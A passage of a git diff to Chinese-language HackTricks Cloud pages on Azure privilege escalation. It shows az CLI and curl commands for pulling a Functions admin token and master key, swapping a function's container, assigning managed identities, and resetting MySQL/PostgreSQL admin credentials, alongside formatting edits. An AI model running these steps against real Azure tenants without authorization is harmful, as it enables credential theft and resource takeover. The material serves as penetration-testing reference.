+通过此权限,可以 [获取 **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01),该令牌可以用于检索 **master key**,从而访问和修改函数的代码。
+
+然而,在我最近的检查中没有返回任何令牌,因此它可能已被禁用或不再有效,但以下是您将如何操作的方式:
```bash
# Get admin token
-az rest --method POST \
---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01" \
---headers '{"Content-Type": "application/json"}' \
---debug
+az rest --method GET \
+--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01"
# Get master key
curl "https://.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer "
```
-### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
+### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
此权限允许**启用可能被禁用的函数**(或禁用它们)。
```bash
@@ -338,19 +329,19 @@ az functionapp config appsettings set \
--resource-group \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
```
-在以下 URL 中也可以查看一个函数是启用还是禁用(使用括号中的权限):
+可以在以下 URL 中查看函数是否启用或禁用(使用括号中的权限):
```bash
az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//properties/state?api-version=2024-04-01"
```
-### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
+### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
-拥有这些权限可以**修改由配置为运行容器的函数应用程序运行的容器**。这将允许攻击者将恶意的 azure 函数容器应用程序上传到 docker hub(例如)并使函数执行它。
+通过这些权限,可以**修改由配置为运行容器的函数应用程序运行的容器**。这将允许攻击者将恶意的 azure 函数容器应用程序上传到 docker hub(例如),并使该函数执行它。
```bash
az functionapp config container set --name \
--resource-group \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
```
-### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
+### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
拥有这些权限可以**将新的用户管理身份附加到函数**。如果函数被攻破,这将允许将权限提升到任何用户管理身份。
```bash
@@ -361,7 +352,7 @@ az functionapp identity assign \
```
### 远程调试
-也可以连接以调试正在运行的 Azure 函数,如 [**文档中所述**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs)。但是,默认情况下,Azure 会在 2 天内关闭此选项,以防开发人员忘记,从而避免留下易受攻击的配置。
+也可以连接以调试正在运行的 Azure 函数,如 [**文档中所述**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs)。但是,默认情况下,Azure 会在开发者忘记时将此选项在 2 天内关闭,以避免留下易受攻击的配置。
可以通过以下方式检查函数是否启用了调试:
```bash
@@ -374,7 +365,7 @@ az functionapp config set --remote-debugging-enabled=True --name --re
### 更改 Github 仓库
我尝试通过执行以下命令更改部署发生的 Github 仓库,但即使它确实更改了,**新代码并未加载**(可能是因为它期望 Github Action 更新代码)。\
-此外,**托管身份联合凭证未更新**以允许新仓库,因此看起来这并不是很有用。
+此外,**托管身份联合凭据未更新**以允许新仓库,因此看起来这并不是很有用。
```bash
# Remove current
az functionapp deployment source delete \
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md
index ebe40b610..0c49aa455 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md
@@ -10,7 +10,7 @@
../az-services/az-keyvault.md
{{#endref}}
-### Microsoft.KeyVault/vaults/write
+### `Microsoft.KeyVault/vaults/write`
拥有此权限的攻击者将能够修改密钥保管库的策略(密钥保管库必须使用访问策略而不是 RBAC)。
```bash
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md
index 1c77a54cb..2bef8e6fb 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md
@@ -5,15 +5,13 @@
## Logic Apps Privesc
有关 SQL 数据库的更多信息,请查看:
-{% content-ref url="../az-services/az-logic-apps.md" %}
-[az-logic-apps.md](../az-services/az-logic-apps.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-logic-apps.md
+{{#endref}}
-### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action")
+### (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`) && (`Microsoft.Logic/workflows/triggers/run/action`)
-拥有此权限后,您可以创建或更新 Azure Logic Apps 工作流。工作流定义了各种系统和服务之间的自动化过程和集成。
-
-{% code overflow="wrap" %}
+拥有此权限,您可以创建或更新 Azure Logic Apps 工作流。工作流定义了不同系统和服务之间的自动化过程和集成。
```bash
az logic workflow create \
--resource-group \
@@ -26,9 +24,7 @@ az logic workflow update \
--resource-group logicappgroup \
--definition
```
-{% endcode %}
-
-更改后,您可以使用以下命令运行它:
+然后在更改后,您可以使用以下命令运行它:
```bash
az rest \
--method post \
@@ -36,16 +32,12 @@ az rest \
--body '{}' \
--headers "Content-Type=application/json"
```
-### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action")
-拥有这些权限后,您可以使用 ZIP 文件部署来部署 Logic App 工作流。这些权限允许执行诸如读取应用程序详细信息、访问发布凭据、写入更改和列出应用程序配置等操作。结合启动权限,您可以更新并部署具有所需内容的新 Logic App。
-
-{% code overflow="wrap" %}
+### (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/basicPublishingCredentialsPolicies/read`, `Microsoft.Web/sites/write`, `Microsoft.Web/sites/config/list/action`) && (`Microsoft.Web/sites/start/action`)
+拥有这些权限,您可以使用 ZIP 文件部署来部署 Logic App 工作流。这些权限允许执行诸如读取应用程序详细信息、访问发布凭据、写入更改和列出应用程序配置等操作。结合启动权限,您可以更新并部署具有所需内容的新 Logic App。
```bash
az logicapp deployment source config-zip \
--name \
--resource-group \
--src
```
-{% endcode %}
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md
index 3b16a7f33..ac1860005 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md
@@ -2,19 +2,16 @@
{{#include ../../../banners/hacktricks-training.md}}
-
## MySQL 数据库权限提升
有关 SQL 数据库的更多信息,请查看:
-{% content-ref url="../az-services/az-mysql.md" %}
-[az-mysql.md](../az-services/az-mysql.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-mysql.md
+{{#endref}}
-### ""Microsoft.DBforMySQL/flexibleServers/read" && "Microsoft.DBforMySQL/flexibleServers/write"
+### `Microsoft.DBforMySQL/flexibleServers/read` && `Microsoft.DBforMySQL/flexibleServers/write`
拥有此权限,您可以在 Azure 上创建、更新或删除 MySQL Flexible Server 实例。这包括配置新服务器、修改现有服务器配置或退役服务器。
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server create \
--name \
@@ -27,32 +24,20 @@ az mysql flexible-server create \
--tier \
--version
```
-{% endcode %}
-
-例如,这些权限允许更改 MySQL 密码,这在启用 MySQL 身份验证的情况下当然很有用。
-
-{% code overflow="wrap" %}
+例如,这些权限允许更改 MySQL 密码,当然在启用 MySQL 身份验证的情况下非常有用。
```bash
az mysql flexible-server update \
--resource-group \
--name \
--admin-password
```
-{% endcode %}
-
-此外,如果您想从非私有端点访问,则必须启用公共访问,启用方法如下:
-
-{% code overflow="wrap" %}
+此外,如果您想从非私有端点访问,则必须启用公共访问,启用方法:
```bash
az mysql flexible-server update --resource-group --server-name --public-access Enabled
```
-{% endcode %}
+### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforMySQL/flexibleServers/administrators/write` && `Microsoft.DBforMySQL/flexibleServers/administrators/read`
-### ""Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforMySQL/flexibleServers/administrators/write" && "Microsoft.DBforMySQL/flexibleServers/administrators/read""
-
-通过此权限,您可以为 MySQL Flexible Server 配置 Azure Active Directory (AD) 管理员。这可以通过将自己或其他帐户设置为 AD 管理员来利用,从而授予对 MySQL 服务器的完全管理控制。重要的是,flexible-server 必须具有用户分配的托管身份以供使用。
-
-{% code overflow="wrap" %}
+通过此权限,您可以为 MySQL Flexible Server 配置 Azure Active Directory (AD) 管理员。可以通过将自己或其他帐户设置为 AD 管理员来利用此权限,从而获得对 MySQL 服务器的完全管理控制。重要的是,flexible-server 必须具有用户分配的托管身份以供使用。
```bash
az mysql flexible-server ad-admin create \
--resource-group \
@@ -61,6 +46,4 @@ az mysql flexible-server ad-admin create \
--identity \
--object-id
```
-{% endcode %}
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md
index 8d7b5bb29..58bf25f0e 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md
@@ -5,15 +5,13 @@
## PostgreSQL Privesc
有关 SQL 数据库的更多信息,请查看:
-{% content-ref url="../az-services/az-postgresql.md" %}
+{{#ref}}
[az-postgresql.md](../az-services/az-postgresql.md)
-{% endcontent-ref %}
+{{#endref}}
-### "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/write"
+### `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/write`
拥有此权限,您可以在 Azure 上创建、更新或删除 PostgreSQL Flexible Server 实例。这包括配置新服务器、修改现有服务器配置或退役服务器。
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server create \
--name \
@@ -26,34 +24,22 @@ az postgres flexible-server create \
--tier \
--version
```
-{% endcode %}
-
-例如,这些权限允许更改 PostgreSQL 密码,这在启用 PostgreSQL 身份验证的情况下当然很有用。
-
-{% code overflow="wrap" %}
+例如,这些权限允许更改 PostgreSQL 密码,当然在启用 PostgreSQL 身份验证的情况下非常有用。
```bash
az postgres flexible-server update \
--resource-group \
--name